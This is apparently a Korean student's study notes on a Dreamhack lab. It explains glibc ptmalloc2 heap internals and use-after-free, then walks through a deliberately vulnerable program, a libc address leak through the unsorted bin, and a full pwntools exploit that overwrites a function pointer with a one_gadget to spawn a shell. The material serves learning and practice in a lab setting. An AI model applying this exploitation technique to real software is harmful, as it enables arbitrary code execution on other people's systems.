[Dreamhack] Systemhacking - Use After Free

chrmqgozj·2025년 1월 7일

DreamHack

목록 보기
8/39
  1. 개념
  • Memory allocator
    프로세스는 실행 중에 메모리를 동적으로 할당하고, 할당한 메모리를 쓰고 나면 해제하는데
    이 과정이 매우 빈번하게 일어남.
    그래서 운영체제의 Memory Allocator는 이 과정이 빠르고 메모리 낭비 없이 이루어지도록 구현된다.
    리눅스는 ptmalloc2 알고리즘을 쓴다.

1.1. ptmalloc2의 특징
어떤 메모리가 해제되면, 해제된 메모리의 특징을 기억하고 있다가 비슷한 요청이 들어오면 이를 빠르게 반환해준다. (공실의 재사용)
(마찬가지로 18.04를 필요로 한다...)

  • ptmalloc의 구현 목표: 메모리의 효율적인 관리
  • 메모리 낭비 방지
    : 메모리 할당 요청 발생 시, 먼저 해제된 메모리 공간 중에서 재사용할 수 있는 공간이 있는지 탐색 (같은 크기면 그대로 재사용, 크기가 크면 잘라서 재사용)
  • 빠른 메모리 재사용
    : 빠른 재사용을 위해서는 해제된 메모리 공간의 주소를 기억하고 있어야 한다.
  • 메모리 단편화 방지
    내부 단편화: 할당한 메모리 공간에서 낭비되는 공간이 많음 (할당된 메모리 내에서 발생)
    외부 단편화: 할당된 메모리 공간들 사이에 빈 공간이 많아서 비효율적임 (할당되지 않은 메모리가 너무 조각조각 잘려 있어서 발생)

이렇나 단편화를 막기 위해 정렬, 병합, 분할을 사용
메모리 공간을 16바이트 단위로 할당. 내부 단편화는 발생할 수 있으나 외부 단편화는 줄어듦

1.2. ptmalloc의 객체

  • 청크
    할당한 메모리 공간(덩어리): 헤더와 데이터로 구성됨
    헤더는 청크 관리에 필요한 정보 보유
    데이터는 사용자가 입력한 데이터 저장

fd: 연결 리스트에서 다음 청크 (free 청크에만 존재)
bk: 연결 리스트에서 이전 청크 (free 청크에만 존재)

  • bin
    사용이 끝난 청크들이 저장되는 객체
    메모리의 낭비를 막고, 해제된 청크를 빠르게 재사용할 수 있게 함.

smallbin 62개, largebin 63개, unsortedbin 1개, 그외 2개(미사용) = 총 128개

  • smallbin
    32~1024 크기의 청크 보관. 하나의 smallbin에는 같은 크기의 청크들만 보관. index가 증가하면 저장되는 청크들의 크기는 16바이트씩 커짐.
    원형 이중 연결 리스트이며 먼저 해제된 청크가 먼저 재할당됨.
    청크 관리 방식에는 LIFO, FIFO, address-ordered가 있음
    LIFO: 속도는 빠르지만 파편화가 심함
    address-ordered: 파편화는 가장 적지만 속도가 느림
    FIFO: 중간

unlink: smallbin에 청크를 추가하거나 꺼낼 때 연결 고리를 끊는 과정
consolidation: 메모리 상에서 인접한 두 청크가 해제되어 있고, smallbin에 존재하면 병합됨

  • fastbin
    일반적으로 크기가 작은 청크들이 큰 청크들보다 빈번하게 할당되고 해제된다. 그래서 작은 청크들의 할당과 해제를 효율적으로 하는 게 전체적인 효율성 측면에서 중요하다.
    그래서 일정 크기보다 작은 청크는 smallbin이 아니라 fastbin에 저장된다. 그리고 관리할 때 속도를 메모리 단편화보다 더 신경쓴다.

32~176 크기의 청크 보관. 16바이트 단위로 총 10개의 fastbin 존재
단일 연결리스트이므로 청크를 꺼낼 때 unlink 과정이 불필요
LIFO 방식 사용
병합되지 않아서 병합연산에 사용되는 연산도 아낄 수 있음

  • largebin
    1024~ 크기의 청크 보관.
    smallbin, fastbin과 달리 하나의 largebin에 속하는 청크는 정해진 크기가 아니라 일정 범위 내의 크기를 가진 청크들을 모두 모아서 보관
    -> 적은 수의 largebin으로 다양한 크기를 갖는 청크 관리 가능.

재할당 요청 발생 시 bestfit으로 재할당. 이 과정을 빠르게 하기 위해 largebin 내의 청크를 크기 내림차순으로 정렬함.
이중 연결리스트이므로 unlink 필요
병합 O

  • unsortedbin
    분류되지 않은 청크 보관. fastbin에 들어가지 않는 모든 청크들이 해제되면 크기 구분 없이 unsortedbin에 보관됨 (unsortedbin은 단 한 개)
    원형 이중 연결 리스트

smallbin 크기에 해당하는 청크 할당 요청 -> fastbin/smallbin 탐색 -> unsortedbin 탐색
largebin 크기에 해당하는 청크 할당 요청 -> unsortedbin 우선 탐색 (이 과정에서 탐색된 청크들은 크기에 따라 적절한 bin으로 분류됨)

  • arena
    fastbin, smallbin, largebin 등의 정보를 모두 담고 있는 객체

  • tcache
    각 thread에 독립적으로 할당되는 캐시 저장소.
    32~1040 크기의 청크 보관.
    하나의 tcache는 같은 크기의 청크들만 보관 (최대 7개)
    LIFO
    단일 연결 리스트.

특히 보안 검사가 많이 생략되어 힙 익스플로잇에 활용됨.

1.3. Use-After-Free
메모리 참조에 사용한 포인터를 메모리 해제 후에 적절히 초기화하지 않아서, 또는 해제한 메모리를 초기화하지 않고 다음 청크에 재할당해주면서 발생하는 취약점

  • Dangling Pointer
    : 유효하지 않은 메모리 영역을 가리키는 포인터

메모리 해제 시 free 함수 사용.
free 함수는 청크를 ptmalloc에 반환하기만 할 뿐, 청크의 주소를 담고 있던 포인터를 초기화하지는 않는다. 즉 이 포인터는 해제된 청크를 가리키는 Dangling Pointer가 된다.

Use-After-Free(UAF): 해제된 메모리에 접근할 수 있을 때 발생하는 취약점

// Name: uaf.c
// Compile: gcc -o uaf uaf.c -no-pie
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

struct NameTag {
  char team_name[16];
  char name[32];
  void (*func)();
};

struct Secret {
  char secret_name[16];
  char secret_info[32];
  long code;
};

int main() {
  int idx;

  struct NameTag *nametag;
  struct Secret *secret;

  secret = malloc(sizeof(struct Secret));

  strcpy(secret->secret_name, "ADMIN PASSWORD");
  strcpy(secret->secret_info, "P@ssw0rd!@#");
  secret->code = 0x1337;

  free(secret);
  secret = NULL;

  nametag = malloc(sizeof(struct NameTag));

  strcpy(nametag->team_name, "security team");
  memcpy(nametag->name, "S", 1);

  printf("Team Name: %s\n", nametag->team_name);
  printf("Name: %s\n", nametag->name);

  if (nametag->func) {
    printf("Nametag function: %p\n", nametag->func);
    nametag->func();
  }
}

위의 예제를 실행하면

$ gcc -o uaf uaf.c -no-pie
$ ./uaf
Team Name: security team
Name: S@ssw0rd!@#
Nametag function: 0x1337
Segmentation fault (core dumped)

이런 결과가 나온다. Team Name은 정상적으로 출력되는데 Name은 앞서 secret 구조체에서 저장된 값이 겹쳐 나오고, Nametag는 입력한 적도 없는데 secret 구조체에서 저장한 값이 출력된다.

  • 원인
    ptmalloc2는 할당 요청이 들어오면 요청된 크기와 비슷한 청크가 bin이나 tcache에 있는 확인한다.
    그런데 예제에서 두 구조체는 크기가 같다. 따라서 secret을 해체하고 nametag를 할당하면 nametag는 이전에 secret이 쓰던 메모리를 할당받는다.

직접 메모리를 열어보면, 첫 번째 요소인 secret_name의 위치는 free가 되면서 fd와 bk로 초기화됐지만, 그 이후 부분에 대해서는 그대로인 것을 알 수 있다.

  1. uaf_overwrite
    3.1. 보안기법

다 있다.
FULL-RERLRO -> got overwrite은 힘듦 (이럴 때는 라이브러리에서 사용하는 훅이나 코드에서 사용하는 함수 포인터 덮어쓰기가 가능)

3.2. uaf_overwrite.c

// Name: uaf_overwrite.c
// Compile: gcc -o uaf_overwrite uaf_overwrite.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

struct Human {
  char name[16];
  int weight;
  long age;
};

struct Robot {
  char name[16];
  int weight;
  void (*fptr)();
};

struct Human *human;
struct Robot *robot;
char *custom[10];
int c_idx;

void print_name() { printf("Name: %s\n", robot->name); }

void menu() {
  printf("1. Human\n");
  printf("2. Robot\n");
  printf("3. Custom\n");
  printf("> ");
}

void human_func() {
  int sel;
  human = (struct Human *)malloc(sizeof(struct Human));

  strcpy(human->name, "Human");
  printf("Human Weight: ");
  scanf("%d", &human->weight);

  printf("Human Age: ");
  scanf("%ld", &human->age);

  free(human);
}

void robot_func() {
  int sel;
  robot = (struct Robot *)malloc(sizeof(struct Robot));

  strcpy(robot->name, "Robot");
  printf("Robot Weight: ");
  scanf("%d", &robot->weight);

  if (robot->fptr)
    robot->fptr();
  else
    robot->fptr = print_name;

  robot->fptr(robot);

  free(robot);
}

int custom_func() {
  unsigned int size;
  unsigned int idx;
  if (c_idx > 9) {
    printf("Custom FULL!!\n");
    return 0;
  }

  printf("Size: ");
  scanf("%d", &size);

  if (size >= 0x100) {
    custom[c_idx] = malloc(size);
    printf("Data: ");
    read(0, custom[c_idx], size - 1);

    printf("Data: %s\n", custom[c_idx]);

    printf("Free idx: ");
    scanf("%d", &idx);

    if (idx < 10 && custom[idx]) {
      free(custom[idx]);
      custom[idx] = NULL;
    }
  }

  c_idx++;
}

int main() {
  int idx;
  char *ptr;

  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);

  while (1) {
    menu();
    scanf("%d", &idx);
    switch (idx) {
      case 1:
        human_func();
        break;
      case 2:
        robot_func();
        break;
      case 3:
        custom_func();
        break;
    }
  }
}
  • 2개의 구조체: Human, Robot (크기 동일)
  • print_name 함수: robot 구조체의 name 출력
  • menu 함수: 메뉴명 출력용
  • human_func 함수: human->name은 Human으로 설정, human->weight, human->age는 사용자 입력 이후, human 구조체 free
  • robot_func 함수: robot->name은 Robot으로 설정, robot->weight는 사용자 입력, robot->fptr 값이 존재한다면 실행, 없다면 print_name 함수 실행(매개변수 robot)
  • custom_func 함수: 최대 10번 실행 가능.
  1. size 사용자 입력 (size >= 0x100)
  2. custom[c_idx]에 할당 후, read로 사용자 입력 저장
  3. free할 idx 사용자 입력
  4. 해당 idx free 후, 포인터까지 NULL 초기화(2번 free 불가)
  • main에서 3개의 함수 중 무엇을 실행할지 선택

3.3. 설계

robot->fptr에서 함수를 실행하기 때문에 robot->fptr을 system으로 설정하고, robot 변수의 시작을 '/bin/sh'로 저장하면 되지 않을까

custom은 어디 쓰라는거지
일단 robot, human 구조체랑 같은 size를 할당 요청하면 메모리가 중복해서 할당될 것 같다.

목표: robot->fptr을 원가젯으로 덮기
원가젯이 기억 안 나기 때문에 복습... (https://velog.io/@danmuginima/Dreamhack-Systemhacking-Bypass-PIE-RELRO)
단 하나의 가젯으로 execve와 같은 함수를 실행할 수 있어 바로 쉘을 딸 수 있는 아주 유용한 코드 조각!
너무 몰아치듯이 공부해서 지난거는 슬슬 기억이 안 난다. 조만간 전체 정리해야 되겠다.

아무튼 원가젯을 찾고 robot->fptr을 uaf로 덮어야 한다.

3.3.1. 먼저 libc_base를 구해야 한다.
원가젯을 사용할 예정이기 때문에..
근데 여기는 특정 함수의 주소를 출력해주지 않기 때문에 알아서 구해야 한다.

이것도 마찬가지로 uaf를 통해 구할 수 있다.
free chunk와 할당 chunk의 차이는 fd, bk의 유무다.

unsorted bin에 처음 연결되는 청크는 libc 영역의 특정 주소와 이중 원형 연결 리스트를 형성한다. 즉 해당 청크의 fd와 bk로 libc의 특정 주소를 알아낼 수 있다.

custom_func를 사용할 것이다.
custom_func에서 0x410 바이트 초과 사이즈의 청크를 두 개 할당하고 처음 할당한 것을 해제한다.

이유 1. 0x410 이하 사이즈의 청크는 fcache에 포함된다. 우리의 목표는 unsortedbin에 청크가 저장되도록 하는 것이다.
이유 2. 해제된 청크가 탑 청크에 닿지 않도록 해야 한다. unsortedbin에 포함되는 청크가 탑 청크와 닿게 되면 병합되기 때문이다.
(https://she11.tistory.com/157) -> 이 분이 설명을 정말 잘해주셨다.

아놔...왜 dockerfile에서 COPY가 안 먹히냐고... command not found란다.
일단 libc 빼고 진행해야겠다.

$ gdb -q uaf_overwrite
pwndbg> r
Starting program: /home/dreamhack/uaf_overwrite
1. Human
2. Robot
3. Custom
> 3
Size: 1280
Data: a
Data: a

Free idx: -1
1. Human
2. Robot
3. Custom
> 3
Size: 1280
Data: b
Data: b

Free idx: 0
1. Human
2. Robot
3. Custom
>

이렇게 진행하고 heap 명령어를 pwndbg 내에서 실행하면

free chunk와 allocated chunk가 존재한다.
free chunk의 fd와 bk도 볼 수 있다. leak 성공

vmmap으로 확인하면 fd와 bk가 가리키는 위치가 libc 위치인 것을 알 수 있다.

libc가 매핑된 주소에서 빼주면 offset을 구할 수 있다. (원래 libc-2.27.so로 해야되는데 파일 copy가 안 돼서...)

3.3.2. 원가젯 덮어씌우기
human 구조체에서 age가 robot의 func와 동일하기 때문에 age에 원가젯을 저장한다.

  1. exploit.py
#!/usr/bin/env python3
# Name: uaf_overwrite.py
from pwn import *

p = process('./uaf_overwrite')

def slog(sym, val): success(sym + ': ' + hex(val))

def human(weight, age):
    p.sendlineafter(b'>', b'1')
    p.sendlineafter(b': ', str(weight).encode())
    p.sendlineafter(b': ', str(age).encode())

def robot(weight):
    p.sendlineafter(b'>', b'2')
    p.sendlineafter(b': ', str(weight).encode())

def custom(size, data, idx):
    p.sendlineafter(b'>', b'3')
    p.sendlineafter(b': ', str(size).encode())
    p.sendafter(b': ', data)
    p.sendlineafter(b': ', str(idx).encode())

# UAF to calculate the `libc_base`
custom(0x500, b'AAAA', -1)
custom(0x500, b'AAAA', -1)
custom(0x500, b'AAAA', 0)
custom(0x500, b'B', -1) # data 값이 'B'가 아니라 'C'가 된다면, offset은 0x3ebc42 가 아니라 0x3ebc43이 됩니다.

lb = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x3ebc42
og = lb + 0x10a41c # 제약 조건을 만족하는 원 가젯 주소 계산

slog('libc_base', lb)
slog('one_gadget', og)

# UAF to manipulate `robot->fptr` & get shell
human(1, og)
robot(1)

p.interactive()

fd와 bk를 leak해야 한다. 여기서 uaf가 활용된다.
먼저 총 2번의 custom 실행으로 0x500 크기의 청크 두 개를 할당 받는다. 그리고 하나를 더 할당하면서 첫 번째 청크를 해제한다. (근데 굳이 3번이나 할당해야 하나 싶다...두 번째 할당하면서 해제할 수 있지 않나)
그러고 나서 하나의 문자 B만을 할당한다.
그런데 여기서 uaf가 발생한다. 우리가 첫 번째로 해제한 청크와 새로 할당한 청크는 사이즈가 같기 때문에 이전 영역이 재할당된다.

하지만 위의 사진처럼 재할당되면 이전의 fd와 bk 데이터가 남아있게 된다.
우리가 단 하나의 바이트 B만 입력하게 되면 1바이트만 덮이고 나머지 주소는 그대로다. 그래서 무엇을 입력하냐에 따라 offset이 변경된다.

그러고 나서 나머지는 one_gadget 공격 방식으로 진행하면 된다.

human의 fptr에 one_gadget 주소를 입력하는 것도 잊지 말고.

0개의 댓글